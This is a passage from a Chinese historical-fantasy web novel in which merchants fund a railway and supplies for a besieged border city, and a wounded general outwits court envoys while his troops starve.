张时言怒喝:“张大人,你老年纪大了,记性差了,是不是忘记,我张家乃是百年世家,会差这点银子么,真以为我做官和你们一样,指着这点俸禄过活啊,我做官是为了报效朝廷,感谢先皇对我的知遇之恩!” 他暗讽张贤齐出生乡野没有见识,是专营苟利之辈。 户部尚书贴在墙上恨不得自己当场耳聋,两位大佬吵架,他立在中间左右为难,想到了一个折中的办法:“张老 大人,张大人言之有理,户部现在空的能跑耗子,实在弄不到钱粮,不如让商户出力。” 他转身对着张时言:“张大人,大赵是我们所有百姓的,人人都想上前杀敌。让青华园一家商户出力,其他家也不答应啊,不如让每府的商家自愿报名,出钱出粮,做得最好的三家,授予皇商称号,齐心协力共度难关,你们看,怎么样?” 张贤齐不愿多生事端,张时言也不愿青华园一家出风头,这计策正好符合他的预想,勉为其难算是点头。 青华园原本在上京,因为做出的橡胶枕、橡胶床垫微微有些名气,最为广之的还是兴隆船行。今日朝上这么一闹,不少人悄摸摸打听青华园到底何方神圣,竟让最年轻的阁老张时言恨得牙痒痒。 了解后的人们恍然大悟,哦,原来青华园不仅有橡胶枕,还有味道纯美的井盐,美白效果奇佳的神仙水,连夏日最受欢迎的冰酪也是他们家先做的…… 不查不知道,远在天边的青华园的产品,已经悄悄在千家万户落了脚。 & 南安府的刘青青看着账册上突然拔高的销售额,大吃一惊,悄悄打探了一番,多出来的份额,竟然是其他州府跑来进货的商人。 又得了卢雪樵提醒的书信,才晓得不知道什么时候得罪了这位位高权重的新鲜出炉的张阁老。 也是阴差阳错,张阁老本意是打压青华园,却不知,自己在早朝上的发作,却让青华园火了一把。 世人可不管你主家是谁,只管好用便宜,用过青华园的产品,对青华园留下了很好的印象,到杂货铺子买东西的时候,习惯问一句有没有青华园的? 商人跟着风向动,瞬间涌入南安府,大批量购买运货。 彼时已经三月,她正在田间看着短工收获地里的土豆,这一季土豆因为喝够了雪水,个头格外的大,实在的土豆捏在手里,让人心里踏实。 她看着书信上卢雪樵的金钩铁画,心情很是沉重,战争,终于还是来了。 刘青青拉住准备稻种的父亲:“阿爹,不种稻谷了,所有土地,全种土豆!” 刘有山愣了一下,看到她眼里的愁闷,终是没问出口,哎了一声。 过了几日,便有衙役上门通知,三月十五午时,请青华园的主事,到府衙一聚。 转眼到了三月十五,郭守云和刘青青换了苏氏新做的短装,并排并肩步入府衙花厅,里边已经坐了许多人,她打眼一扫,全是南安府有名有姓的富商豪股。 大家相互寒暄交流眼色,看到两人,眼前一亮,忍不住夸赞两人精气十足,郎才女貌,相宜得章。 等了约摸一刻钟,温如初姗姗来迟,他面上满是疲倦:“今日召大家前来,是有事相求。” 大家诚惶诚恐,连道不敢。 温如初继续道:“你们都是耳目灵通的,想必已经知道大概。” “大年初一,金人犯境,一夜之间攻占我们边城三城,皇上当机立断,调兵遣将,将敌人挡在了山河关外,只是,战事如今胶着,敌人在城外安营扎寨,我军也无力外出驱赶,两方对峙,朝廷高层已经在谈议和一事。相信不久后,就能将此事完美解决。” “现在的问题是,去年雪灾,朝廷为了赈灾,国库没有余粮,此战完全靠各州府商户出钱出粮,所有州府轮流负责守边战士的军备,现在排到我们南安府。” 说完这些,温如初低头喝茶,留一点空白给大家消化消化。 花厅里一时之间落针可闻,大家心里暗暗叫苦,嘀咕衙门报到,果然没好事。 刘青青和郭守云对视一眼,朗声询问:“大人,国家有难,匹夫有责,我们也想为前线的战士献上一份心意,只是,不晓得是个什么章程?” 温如初给了她一个赞许的眼神,放下茶杯续道:“朝廷也不会让你们平白出力,待事成之后,最是尽责的三家,御赐为皇商。所有商户,都列在功劳薄上,名字载入史册,广发全国,让全国百姓知道你们的善举。” 此言一出,花厅里的气氛顿时热烈了些。 粮商李老板:“大人,我仓库里还有些许余粮,约摸百担,早就想捐给前线的战士,苦于没有门路,今日算是来对了!” 开钱庄的王掌柜:“温大人,我家女眷心疼前线的战士,攒了白银一千两,欲献给战士们,劳烦您帮忙转送!” 最大的绸缎铺子孙东家:“大人,我们家开布行的,打算为将士们每人做一双鞋,您看可以吗?” …… 一听说能把自己的商行登记在功劳薄上,名字永载史册,这些商人们全都积极报名,勇于捐献,生怕自己晚了一步,名字被写到后面。 温如初幽幽加了一句:“到时候排名按照贡献额度从大到小排序!” 粮商李老板一拍脑袋:“啊哟,大人,我想起来,我城郊仓库装满了新收入的土豆,那个可以吗?” 钱庄王掌柜咬着牙:“大人,我悄悄藏了一万两的私房钱,给战士们充作军费罢!” 绸缎铺子孙东家恼怒的看着前面加码的两人,不敢落后:“大人,北边现在还冷呢,我们家收了许多棉花,不如为每位将士做身棉衣,抵御寒气!” …… 温如初不停的点头,师爷史居正在一旁刷刷刷记录,等大家轮流捐了一遍,才发现青华园不动如山,一直没有开口。 有人打趣:“哟,刘掌柜,你不是说匹夫有责么?到了真刀实枪的时候,是不是就要当王八,缩在壳里啊?” 郭守云瞪了这人一眼,正要怼回去,被刘青青拉住,她悠悠一笑:“诸位掌柜,你们捐献的物资,是打算怎么送到前线去呢?要知道,这里距边城有一千里路呢!” 众人一愣,物资怎么送到前线,这不是衙门的事情么。 一想到衙门里那些小吏雁过拔毛的性子,顿时不放心了。这些物资都是从牙缝里挤出来的,可不要被损耗了去。 孙掌柜急了:“哎哟,刘掌柜,你有话直说就是!” 刘青青笑笑:“这次皇商名额,我们青华园就不跟你们抢了,只要你们出成本费,我们青华园不赚你们一个铜板,修一条从南安府到边城的铁路,帮你们运送物资,如何?” 钱庄王掌柜冷笑:“不过万两银子,我打发人亲自骑马送去,哪里用多少成本费!” 粮商李老板倒吸一口凉气,他的粮食骑马不现实啊。 孙掌柜急了,要不把棉鞋棉衣也换成银子? 刘青青意味深长道:“王掌柜糊涂,这是一次性的买卖么,你就不想在边城开个王氏钱庄么? 李掌柜,你送了南安府特有的土豆去北方,要不要带点北方的粮食回来,听说他们北方的高粱和小麦很是便宜呢。 孙东家,金人擅养牲畜,皮毛极多,要是弄到第一手的优质皮毛放在你们绸缎庄里,你觉得会如何?” 被点名的几个商贾沉默了。 王掌柜肚中扒拉了一下,边城现在不太平,不适合开新的钱庄分号。 李老板心热不已,他早就眼馋北方的面粉,苦于没有路子弄来,若路途遥远,运费都比面粉价格高,还有被打劫的风险,现在呢,不怕了,有朝廷打底,哪个不长眼的土匪敢动军需,若打通了这条路,以后他从北边运麦面回来卖,再运稻米去北面,双赢啊。 腹中坐此打算,面上却是一脸不赞同。 谈生意嘛,漫天要价就地还钱。一会再压压价。 若李老板是心热,那孙东家就是迫不及待,天知道他为了弄到上好的皮毛,受了多少委屈。 自己头铁去进货,不小心遇到土匪,差点性命不保,花了大笔银子才捡回一条命。 从其他商行那里进货,价格实在太高,没多少赚头,还要求爷爷告奶奶当孙子。现在呢,他能借着朝廷这股东风,借着青华园的铁路,直通边城,那里皮毛多不胜数,便宜完整,啧,今日实在来对了。 他立刻举手赞成:“具体说说,怎么个修法?” 刘青青寥寥而谈:“我仓库里有许多压制好的铁路磨具,只要简单的把地面修建平整,就能把磨具拼装在一起,快速修通,比修路还快捷。” 她看向温如初:“因铁路贵重,需要朝廷的支持,颁下律条,不得以任何理由偷窃损坏铁路,违者杀无赦。 还需要其他州府的支持,把铁路经过的土地地契办到我们青华园,否则以后扯皮,不让马车通过,那就是白费功夫了!” 温如初眼睁睁的看着常安县到南安府修通铁路后,百姓生活发生的翻天覆地变化,对这条贯穿半个大赵国的铁路,会对大赵国带来的经济影响,据以厚望。 温如初点头:“你放心,这条路功在千秋,我会上报朝廷,全力支持。” 刘青青看着在座的商贾,代表着南安府最有力量的一个群体,她道:“这条铁路约摸一千里,修建费用约摸三百万两白银,青华园一家吃不下,所以,邀请你们一起入股,铁路修建成功后,自家商队通过铁路运货,优先通过,过路费九折。赚取的过路费除了道路维护运营开销外,年底按照占股一起分红,如何?” 今日来了大约三十人,一人平均出十万两,这件事便算成了。 刘青青说完后不吭声,让大家自由思考。 钱庄王老板有些心热,但担心此事的风险,顾不得还在上面的温如初:“刘掌柜,你就不怕朝廷失利么?” 这话不太吉利,在场的人不善的看了他一眼。 王老板心虚的缩了缩脖子:“我也就是这么一说,我也巴不得立刻把金人赶走,可是,我们大赵的军队打不过人家金人也是事实,才会一直派公主和亲,陪嫁大量嫁妆。” 表面上是嫁妆,谁不知道,那是拿钱买平安。 刘青青顿了顿,真诚的说了自己的想法:“王老板,我也不知道大赵能不能赢,我不懂这些。只是我知道,若山河关破了,金人长驱直入,我们将和已经被攻破的三城百姓没有区别,沦为金人奴隶、口粮。到时候命都没有了,这点子身家 留着又有何用。 所以现在,我想帮忙,想让大赵赢得这场战争。 我不会打仗,只会种地,所以把家里的田地全换成了高产的土豆,希望到时候能让军士们吃饱,我还会修路,所以想着修一条铁路,能把我们手里的东西以最快的速度送到边疆拼命的战士手中,让他们知道,有人记得他们在拼命。不能让他们流血又流泪。” 没有华丽的辞藻,没有激动的演说,刘青青用柔和的声音,讲诉着自己内心最朴实的愿望-和平,也讲出了在场所有人的心声。 谁不想安安心心过日子?谁喜欢提心吊胆当丧国奴?朝廷没说,但是在座的都有自己的渠道,破城的三撑百姓什么下场,他们自然有耳闻。 听说金人冲进城后,见人就杀,哪里管你是三岁稚儿还是柔弱不能自理的妇人。 他们总觉得边城离南安府很远。 真的很远吗? 在铁骑下,若最大的阻碍山河关都挡不住,还有什么能挡住他们的步伐? 李老板拍着桌子,眼角含泪:“说的对,命都不在了,这些钱要了做什?蝼蚁尚且一战,我再也不想交人头费凑嫁妆了,我们和金人拼了!” “这路我出三十万两,入股!” 第173章 第173章天使 北地山河关边城县衙,郭志城面色苍白合眼躺在榻上,副将郭荣端着水盆用手肘撞开门,步履匆匆走到他面前,虎目里盛满了担忧。 金人攻势凶猛,边城城墙上被打开了个口子,将军亲自带人,深入敌军肉搏,打退金人,他带人及时补好城墙,边城转危为安。 将军肩膀上却中了一刀,依旧强撑着安排好布防,回县衙才轰然栽倒。 脱去盔甲,才发现他左肩血肉模糊,里衣上全是黑红的血液。 郭荣肚里哇凉,压着惊慌请来军医包扎上药,将军却开始发烧说胡话,短短三日,人便瘦得不成样子。 郭荣眼里全是阴霾,他像往日那样,把洗干净的帕子搭在将军的额头,正要给他换药,榻上的上却忽然睁开了眼。 虽然虚弱,但如同往日一般气势十足。 郭荣几乎喜极而泣,瞬间找回了主心骨,乳燕投林般扑到榻前,紧紧握着郭志城的手:“将军,你终于醒了!” 郭志城打量一眼周围的环境,入目便是灰扑扑的家具、沾了只被他打死的蚊子的灰帐—是自家入住的县衙后罩房,熟悉的环境表明,边城暂时没事,他舒了口气,把目光放在跟随多年的副将身上:“外面如何?” 郭荣寻了个枕头轻手轻脚把郭志城垫吧起来,捡着重要的,三言两语将现状点出来:“将军,你放心,上次大战,你刺中金人元帅希拉李的肚腹,探子来报,希拉李这狗贼怕是活不成了,没了希拉李的压制,大皇子卡西和二皇子卡里争权夺利,你来我往好不热闹,暂时没功夫来扰城。” “您好不容易醒过来,先进些米水补充补充。” 郭志城舒了口气,面上一片悲凉。 堂堂大赵国,拥有着千万万人口,却被凶蛮之族欺辱,每日间担忧受怕,受尽鸟气。暂时的安稳,竟然是因为对方内讧。 他依着副将的手臂,灌下一口米粥,粗糙的米糠刮过干涩的嗓子,疼得针戳一般,他面不改色喝下肚。 温热的米汤暖和了肠胃,也带来了一点力气,一开口便问出最为紧迫的事情:“军粮还够撑几日?” 重伤如他喝的都是米糠粥,那些普通的士兵呢? 大赵打不赢的原因就在这里,朝廷重文轻武,军需兵器粮马,种种都卡在那些纸上谈兵的文人手中,一层层拔下来,十不足一,试想一下,冰天雪地中,将士们穿着单衣饿着肚子,举着冻得发僵的手臂,耍着些铍铜烂铁,骑着病歪歪的老马和外面身强体壮的金人打,如何打得赢? 这是打仗么,这是去送死! 边城能守到现在未破,实在是金人惨无人道,边城军民同仇敌忾。 攻破的三城被金人烧杀抢掠,甚至将年幼的孩儿弄去做两脚羊儿。 边城百姓将士上下一心,同心协力共同守城,全靠一口气撑着,用人命堆积,换得金人的久攻不下。 可是,若补给迟迟不到,粮尽弹绝,他也不知道,边城能坚持到什么时候? 他沉吟了半响,语气里满是悲凉:“去,把桌案搬来,我立刻上书,请朝廷尽快筹措军需!”郭志城挣扎着坐起来,因扯动了伤口,肩头包着的白色纱布又浸出鲜红的印子。 他捏笔的手青筋毕露,伤口的开裂疼痛没让他变色,小小的几个字却让他为难得冷汗直冒,他不停的写了划,划了写,桌上已经堆了厚厚一层写污了的废稿。 直白的要钱要粮,不行,朝廷里那些风花雪夜的文人,只会说他粗鲁不堪,甚至到不了御桌便被笔墨舍人打发了。 他收肠刮肚绞尽脑汁,费了九牛二虎之力,终于挤出一份格式标准的奏折,先是卖惨,后是威胁,读着却还是干巴巴的,比如:“库房里干干净净,不剩一粒稻米,战士百姓,不能果腹,许多百姓,已经在啃食树皮,也有兵士,用泥土充饥……请朝廷速速送来军需,否则,百姓溃逃,兵士无力作战,边城将不战而败,金人长驱直入,大赵危咦!” 他再次检查了一遍,书写工整,没有一处笔污,通篇读下来真实流畅,这,是他的最高水平了。 他无力的叹了口气,就这样吧,认真把公文塞到信封里。 在他心烦意乱之际,一阵杂乱的脚步声传来,郭荣一脸怨怼,语气里满是不耐烦:“将,将军,京城的天使来了!” 他望穿秋水,只看到天使乘坐的两辆马车,装载军需的马车,连影子也没有——朝廷这是对他们不管不问。 郭志城抬眉,来人是小皇帝的中书舍人杨民,后边跟着张言时内侄张袍俀,他起身正要招呼。 杨民目光落在他满是血渍的肩上,立马走过来,亲切的按住他,嘴里浮夸的嚷嚷起来:“喔唷,我的郭大人诶,听说你受了伤,陛下是担忧得一宿一宿的睡不着,特命我来探望一二,真是天佑我大赵,你可醒了!” 他扭头从身后的随从手中掏出几个锦盒:“郭大人,陛下牵挂你的伤势,命我带来了上好的人参,和珍贵的金鸡纳霜,你可要早早康复才是!” 郭志城扫一眼锦盒里小拇指粗的人参,心头一暖,皇帝年幼,在朝事上稚嫩有余,但,对臣下是真的关心。 他朝着上京的方向远远叩拜,哽咽跪谢:“多谢皇上,臣,臣一定早日将金人屠戮干净,扬我大赵国威!”这点子东西对大局于事无补,他满脸感动,对着杨民再次 表达了对皇帝的衷心与追随。 一面动情的表达自己的感动,一面呵斥郭荣没眼力见,杵在一边做什! 还不去准备好酒好菜为天使接风洗尘。 郭荣站在门边一脸便秘样,吞吞吐吐半响,终是将那碗剩点底的米糠粥端了过来:“将军,库里最后一碗米糠粥,适才已经熬给你喝了,这边城上下,再没有一粒粮食,外面的百姓,下面的兵士,都在吃土,是真的在吃土!你让我准备好酒好菜,恕下官无能,实在弄不到!要不,也弄点观音土给大人们尝尝?” 郭志城羞愤得满脸发紫,一脚踹在他身上:“混账,我的坐骑不是还在么,放倒了炖熟就是,天使也是你可调侃的!” 他捂着肩上沁血的伤口,大口大口的喘着粗气,转身对着两人连连道歉:“实在对不住,这不堪大用的副官,就是上不得台面,等我好了,定然重重惩罚与他!” 郭荣被他踹倒,也不起来,也不认错,直挺挺的跪着,嘴里嘟囔着:“坐骑是用来杀敌的,可不是用来给人打牙祭的!” 郭志城气得直瞪眼,却疼得瘫在椅子上动弹不得,将手边的墨盘狠狠砸了过去,却因虚弱无力,半中便掉到地上,碎了一地。 也是凑巧,残墨飞溅,污了杨民和张袍俀精致的下摆。 两人对视一眼,起身相劝。 眼看郭荣直挺挺的跪在那里犟着不动,郭志城气得肝疼,抽出腰间的鞭子,挣扎着去打他,偏偏那个郭荣是个狡诈的,看着鞭子飞来,往杨民两人身后躲,滑溜如泥鳅,一边躲一边翻白眼:“将军,就是打死小的,也弄不来酒菜”。 郭志城气急出手,准头不如平时,杨民张袍俀结结实实挨了好几下。 眼看郭志城就要逮住他,郭荣一个矮身,翻身从窗子跳了出去,还大声嚷嚷:“将军,与其把它吃到肚子里,还不如给我,我骑着去杀敌”。转身便消失在墙角。 郭志城痛心疾首拍着桌子:“下官驭下不言,冲撞了二位大人,真是罪该万死,罪该万死啊……” 杨民手臂上的鞭子印火辣辣的疼,腹诽不已,好家伙,这双簧唱得真漂亮,这要是奴下不严,谁才严啊,今日这哑巴亏算是吃定了。 张袍俀冷哼一声,忍者脖颈上的火烧火燎的痛,从牙缝里挤出安慰:“将军言重了,郭副将性情中人,爱惜战马,我等理解理解。” 要不是叔叔叮嘱,千万要哄着这些粗鄙的蠢货在前线挡着金人,他非得把两人挫骨扬灰不可。 两人多少有些狼狈,无心在这里攀扯,借口路途疲惫,要下去修整一二,顺便把鞭子抽打过的地方上点药,也不知道这狗贼怎么打的,越发疼了。 郭志城拉着两人,嘴里口口声声说着慢待了两位大人,定要设豪宴为二人接风洗尘,却冷茶也不让人上一杯。 杨民苦笑一声,劝道:“将军有伤在身,哪里能让你操劳,这样,我们随身带了些瓜果菜肉,不如我们来准备吧!” 郭志城一脸羞涩:“你们远来是客,怎好让你们动手,这样,我这火头营里有个伙夫,手艺还算能见人,让他去置办,你们只管沐浴更衣就是!” 两人终于脱身,待沐浴完出来,张袍俀靠在椅上,命身边的小童取雪肌霜来给他上药。 小童颤着声禀报:“主君,适才来了一伙子大头兵,将我们的行礼全抢了去,说,说是两位大人吩咐的!” 张袍俀目瞪口呆,原来郭志城的意思是,用他们的盘缠,为他们置办接风宴! 好,真是好得很! 难怪叔叔时常骂这人厚颜无耻,他今日算是领教了。 第174章 第174章断炊 一夜北风呼啸,鹅毛大雪飘飘扬扬落了下来,黄褐色的土地上盖上了一层晶莹剔透的软被,遮住了断壁残烟、满目疮痍。 郭志城站在瞭望台上,簌簌寒风几乎要将他吹走。回望边城,街上只有零星的行人,他们全都一个容样,深陷的眼窝里是失了光的瞳孔,唯独剩下绝望。已到了饭时,但陈旧的房屋下,却没有一个烟囱升起炊烟。 透过窗洞,躲在阴影里的妇人抱着饿得奄奄一息的孩儿,发出呜呜咽咽的哀嚎,她卖力的挤着乳汁,却只是徒劳,她瘦得全身都是骨头,哪有多余的精气滋补孩儿呢。 黑瘪的汉子停在路边,再次把裤带上的绳结抽紧——勒紧些肚子不会感觉到饿,他从雪地里捧起一捧雪塞到嘴里,稍微润了润唇,继续搬着石块上城墙。 老人靠在墙根的稻草堆里一动不动,半天胸膛上才微微颤动了一下,昭示着他依旧存在这世间…… 京都也下雪了吗?京城的达官贵人是不是也食不果腹,衣不蔽体呢? 他微微眯眼,视线穿过了千山万雪,落在了遥远的京都,想看清那里的同胞,是不是一样在挨饿受冻,所以,补给才迟迟不至。 正在远眺的他被院子里的喧哗打断,他侧耳细听,原是张袍俀身边伺候的童子,指着厨子痛骂:“瞎了你的狗眼,好叫你知道,我们大人是首辅亲侄儿,你竟敢弄些米糠来欺负人。这是我们大人吃的么,狗都不吃!” 嚷罢,将托盘中的一碗稠米粥狠狠往厨子身上一摔,泼得厨子满头满脸。 厨子被烫到也不敢吭声,只是心疼地上的米粥,他趴在泥地里,双手一捧一捧的将沾了泥的汤汁从新搂回碗里,雪白的米粥,混杂了砂石泥土,顿时浑浊不堪。 他哭丧着脸,嘴里陪着不是:“造孽啊大人,现在边城缺吃的,外面百姓都吃土了,大人吩咐不能慢待了两位天使,我们一个营从牙缝里抠出来的口粮,就被你给糟蹋了啊。” 小童犹自恼怒:“放你娘的屁,我们拉了整整一车粮食来,让你们抢了去,还我们的车,我自会给主子做饭!” 他不依不饶扯着厨子的衣领,嘴里骂骂咧咧他们是强盗。 …… 郭志城虎目微沉,这事他知道。 守城的士兵已经饿了三天,走路都要扶着墙。 他命人将天使车里的吃食配了野菜树根,顿了一锅,守城的将士每人分到稀薄的一碗树根粥,里头零星的肉粒和米粒给了将士们坚守下去的希望。 下面的童子边哭边谩骂:“你们就是野蛮的强盗,不要脸的粗货,抢了我们主人的粮食,等我们回了京,定然请大人好好参上你一本,叫你吃不了兜着走。” 厨子原就心疼泼了的米粥,不和他计较,哪知他见人不还嘴,当别人气虚,越发骂起来,吵得院子了不得安生。 郭志城重重哼了一声,正要去寻张袍俀解释一二,郭荣不晓得从哪里跳出来,一脚将童子踹飞,撞在张袍俀的门上,门缝里露出了一抹绫缎衣衫,想来张袍俀躲在门后看热闹。 郭荣手拍拍腿上的灰,很是嫌弃:“大清早的,哪来的狗吠,吵得人不得安生。” 他走过去,一脚踩在小童的胸上:“告诉你,孙子,你们马车是爷爷我赶走的,你们车里的粮食是圣人送来告劳全军的,现在已经进了军士们的肚子,化成了力气,继续守护这大赵的边城。 圣人命尔等送来军需,你们延误推脱,今次才至,我们没向圣人状告你们渎职之罪,你还有脸在这里叽哩哇啦!” 郭志城恰好走到旁边,哀痛道:“定然是这奸猾的恶奴蒙蔽了张大人,故意坏大人的名声,来呀,给我拖下去,丢到城门外喂狼!” 童子听说要将他丢到城门外,外面可是有吃人的金人,吓得两腿颤颤,竟是软泥一般昏了过去。 郭荣讥笑孬种,嫌弃的跳到一边。 两人指桑骂槐,杀鸡儆猴一番,回到书房。 郭荣扶着郭志城坐下,讥道:“那个张袍俀也是个怂货,自己亲信被收拾也不敢吭声,只敢躲在门后当乌龟。” 郭志城今日出了一口恶气,舒畅了不少,想起断炊的全城,又挎了脸,唯今之际,只有冒着风险,打开城门偷 偷去外面打猎了。 正商量着,传信官奔了进来:“大人,大人,南边来了一队商人!” 第175章 第175章商人? 郭志城抬头看了看天,不知道什么时候,如铅的雪花又飘飘扬扬落了下来,像给这个世界添了一笔灰蒙蒙的水墨,千里冰封万里雪飘,一片干净雪白,美好下藏着致命的寒冷。 商人? 边城通往西域,往年确实有商人孤注一掷,九死一生穿越戈壁草原,冒着风雪,躲过雪狼,避开残杀,带着大赵精美的丝绸出关,行至极西之地,那里生活蓝色眼睛的大胡子人,和他们交换,带回漂亮的红宝石。 那些鹅卵石般大小的石头,散发着迷幻动人的光彩,深受京都达官贵人的喜爱,能炒出天价。商人只要带回一颗,就能从此躺平吃喝,是以即便有死无生,仍旧有无数的冒险者前赴后继。 边城为了创收,为这些商人提供食宿保护,能为边城衙门带来一笔不菲的收入,可是如今,金人压境,军队没有多余的粮□□力去保护这些人了。 他微微戚眉:“告诉那些历险者,外面金人围城,想要活命,速速返还离去!” 传信官闻言退了下去,不一会又折回来,脸上明显带了喜气:“将军,他们说不出城,是特意来为大人解决困难的。” “哦?” 郭志城微微扯了下嘴角,朝廷都没法的事,区区几个商人能干什么? 正要摆手命传令官将他们打发走,那几个商人已经走了过来。 郭志城目光扫过,露出若有所思的目光:他们的打扮与众不同。 往年来的商人,有财大气粗的,全身罩着貂毛大衣,黑灰色的皮毛油光水滑,在雪地里恍若黑色的狗熊,有囊中羞涩的,为了御寒,身上裹着厚厚的灰鼠褂子,还有那穷苦的,麻衣里塞着鼓鼓囊囊的稻草,无论是哪一种,他们有一个共同的特征,便是臃肿不堪:为了保暖,皮衣下还要裹着很多层衣裳。 今日来的这几个人,虽然风尘仆仆满身疲惫,衣摆全是泥浆,打扮依旧臃肿,穿着不显眼的羊皮褂子,但比起周围的人来说,瘦了一大圈。 难道今日变得暖和了? 郭志城擦了擦睫毛上的呼吸水气变成的小冰棱子,微微感叹,天气并没有变得暖和,甚至一日寒过一日。 看这几人,面色如常,想来有其他的保暖方法? 尚若士兵们得了这样的保暖法子,身手利落许多,与金人的交战中又多了一些胜算。 他心内千思百转,面上带了一些出来,态度从淡然变得客气,语气很是亲和:“诸位员外冒着簌簌寒风到此,实在辛苦,快些进厅暖暖身子!” 说罢,领着一群人寒暄着进了县衙,待落座完毕,很是大方的命郭荣泡来一盘子参茶。 这老什子参茶甚是金贵滋补,是从张袍俀那厮车里弄来的,军里的将士喝不来这精细玩意,喝了鼻血直流,现在有求于人,弄来给这些长途跋涉的商人喝挺合适。 嘴里也有心示好好:“诸位冒着风雪远道而来实在辛苦,这是圣人赐下的参茶,快喝些暖暖身子。 有什么事慢慢说,只要不影响战事,定然会帮忙。” 他的目光先是落在这些商人冻得青白的手上,随后眼馋的看着他们脱下的手套,不晓得这手套是怎么做的,这几人的手虽然僵冷,竟然没生冻疮。 边城大雪纷飞,就是他带着皮手套,也长了满手的冻疮,抹了诸多膏药也没用,到了晚间的时候,痒得要命。 他一定要问出,这些商人保暖的法子。 来人正是郭守云一行,因山脉阻当,铁路被堵在关内雪山山下,常用的官道也因雪崩掩埋阻断,距此不过两百余里,诸多物资已经在那边堆积如山,却迟迟无法送至边关,温如初调看粮库记录,估摸着这边已经断炊,忧心这一城的军民如何活下去,急得满嘴燎泡。 他主动请缨领着一伙子人徒步翻过雪山,踏冰而来。 顾不得慢慢寒暄,喝下一口热茶后,郭守云冰冻的身子暖和了许多,舌头也恢复了知觉,他站起身行至堂中,拱手开门见山:“将军,草民们是南安府商户,听闻边关缺粮少食,知府温如初大人带着我们全府的百姓,筹措了些粮草冬衣,已经运送至雪山山脚,因官道雪崩被阻,运不过来,我等特意翻过雪山报信,请将军快些出兵搬运才是。” 正在悄摸摸咀嚼参茶的郭志城,嘀咕着这么贵的参,吞下肚子才划算。 天上掉下个大饼,差点把他砸死。 他惊喜的跳了起来,喉咙里的参茶卡在半中不上不下,几乎将他噎死。他一面捂着喉咙咳得惊天动地,一面鼓着眼白示意郭荣帮忙。 郭荣咋闻这消息,恍惚了一下,感叹天无绝人之路,才慌手慌脚救人,丢了手中托盘,拦腰抱起郭志城倒立过来,对着他的后背一阵哐哐哐拍。 待吐出喉咙的参茶渣,郭志城一面顺气一面拍着郭守云的肩膀:“你们真是,是我边城的救星啊!” “辛苦,真是辛苦!郭荣,这几位兄弟翻山越岭而来,一路不晓得吃了多少苦头,快些弄个火盆来,给他们暖暖身子。” 从一杯参茶,到一个火盆,他不自觉越发看中这几人。 他亲切的拉着郭守云的手:“我一见小兄弟感觉甚是面善,好生亲切,不晓得小兄弟姓甚名谁,好让大家伙知道是谁帮了我们。” 刘青青经常出门,郭守云为了护佑她,私下寻了武师傅练剑,身手也算过得去,可以徒手对付二三个宵小。 郭守云一照面便认出,上面之人便是当年自己用马蜂暗算的金爷,此刻手臂被郭守云捏着,竟然丝毫动不得,感叹世界如此之巧,也暗暗吃惊郭志城一身神力,不由得怀疑郭守云认出了他,报当年马蜂之仇。 转念一想,当时他行事小心,只是路过照了一面,而且自己这些年模样变化甚大,不至于被认出东窗事发。 他压下心中的惊疑,面上露出温和崇拜,又与荣有焉的神情:“不敢当,我是南安府青华园的管事,您称呼我一声小郭就是。” 他不着痕迹的把话题引到身后的众人:“郭大将军,这是布行李管事,这是粮商张掌柜……” 郭志城嗯了一声,众人友好的商业互吹了一番,郭志城把话题扯回正事:“当务之急,是把诸位义兄弟筹措来的军需送至边城,按照你们所说,官道已被掩埋,此路不可行,那沿着你们来时的路,可以运送过来吗?” 郭守云几人面露苦涩,还是郭守云禀道:“将军,山路险阻,我们轻身上阵也废了九牛二虎之力,堪堪平安过来,若是带着物资,只怕……” 若之前没有粮草,大家也认命了,去雪地里拼命,可是现在,在雪山后面,便是大赵国百姓对他们的支持,这份认可,这份省下来的救命粮草,哪怕付出巨大的代价,他们也一定要想办法弄过来。 郭志城沉吟了半响,谨慎开口:“郭小兄弟,我们兵分两路,我在军中调集三十个好手,劳烦你领着他们,再次翻过雪山,先紧着背一些粮过来,让城里的军士百姓知道,关内的百姓记挂着我们。另一边我组织民夫,把官道开出来。” 他想着,这两年各地受灾,估摸着也没多少粮食,他们筹措来的粮食,也许只够边城缓解一两天,但这却给大家带来了活下去的希望——他们守护的百姓担忧他们,知道他们受的苦。 郭守云摇头:“大人,我们此行匆忙而来,只带着先筹措好的少许军需,约摸一百担粗米,一万担土豆,三万件棉袄,三车草药,后面还有源源不断的军需,这些东西靠区区三十个好手,只怕力有不及。” 郭志城撇一眼外面的天,很是亮堂,他没有做梦,他和郭荣对视了一眼,是他听错了么? 什么叫少许军需?一万担的土豆,三万件棉衣叫少许?大赵国的百姓,什么时候这么富有了,竟然把一万担叫区区。 虽然他没吃过什么土豆,不过能填肚子不药死人就行,这样的区区一万但,他喜欢。 不用郭志城吩咐,郭荣主动请缨:“将军,我带着一千兄弟,从山路搬运军需回来,您亲自带着民夫抢修官道!” 郭志城不假思索摇头:“不妥,大规模人员走动,势必被探子知晓,万一金人从中插手,又是一场恶战。” 金人手里也缺粮啊,要是知晓他们有补给,那不得眼冒绿光嗷嗷冲下来哦。 好不容易趁着他们内讧,边城能修养一段时日的生息,他不愿意走漏风声。风雪交加的日子,躲在陈楼里看金人狗咬狗不好么,干嘛把狗引过来! 众人愁眉不展之际,郭守云眼波一转,嘴角微微翘起,似笑非笑道:“将军,草民有一声东击西之策,只是有些风险,不知道将军愿不愿意试上一试?” 郭志城浓眉微微展开:“哦,说来听听!” 第176章 第176章失踪 边城县衙最好的厢房,童子嘎吱一声推开门,张袍俀裹着被衾慢悠悠爬起来,半眯着眼撇一下童子手中托盘里一碗浑浊的汤汁, 气鼓鼓倒回榻上:“这天杀的郭志城,日日弄些米糠来糊弄人。” 行礼被那厮抢了去,自从第一日喝了一碗稀粥,这几日顿顿是没有几颗米粒的米糠粥。 一开始他吃不下,去寻郭志城说理,竟然如此慢待他,那厮苦着脸说,现在仓库里空的能当操场练兵,就这点米糠还是从牙缝里挤出来给他的,要是他不愿意在这里呆,尽管走就是。 他又不是傻,如何能走?一来无半点行礼干粮伴身,还不等他进关,恐怕就饿死了,二来外面冰天雪地白茫茫一片,之前来时寻的带路老农已经离去,他们几人人生地不熟,迷路也不是小事,三来夜间不时传来的兽吼,越发叫人胆战心惊。 他缩在被子里一会,不想去喝那划拉嗓子的米糠粥,偏偏肚子又饿得慌,认命的叹了口气,复起床,抬起米糠粥,闭眼一口闷了下去。 喝了大半,看着一旁眼巴巴咽口水的贴身小厮,留下一点,不舍的挥挥手:“赏你了!” 小童面上现出感激之情,小口小口的剩下的米糠粥抿下肚,然后伸出舌头把碗底舔了一遍。 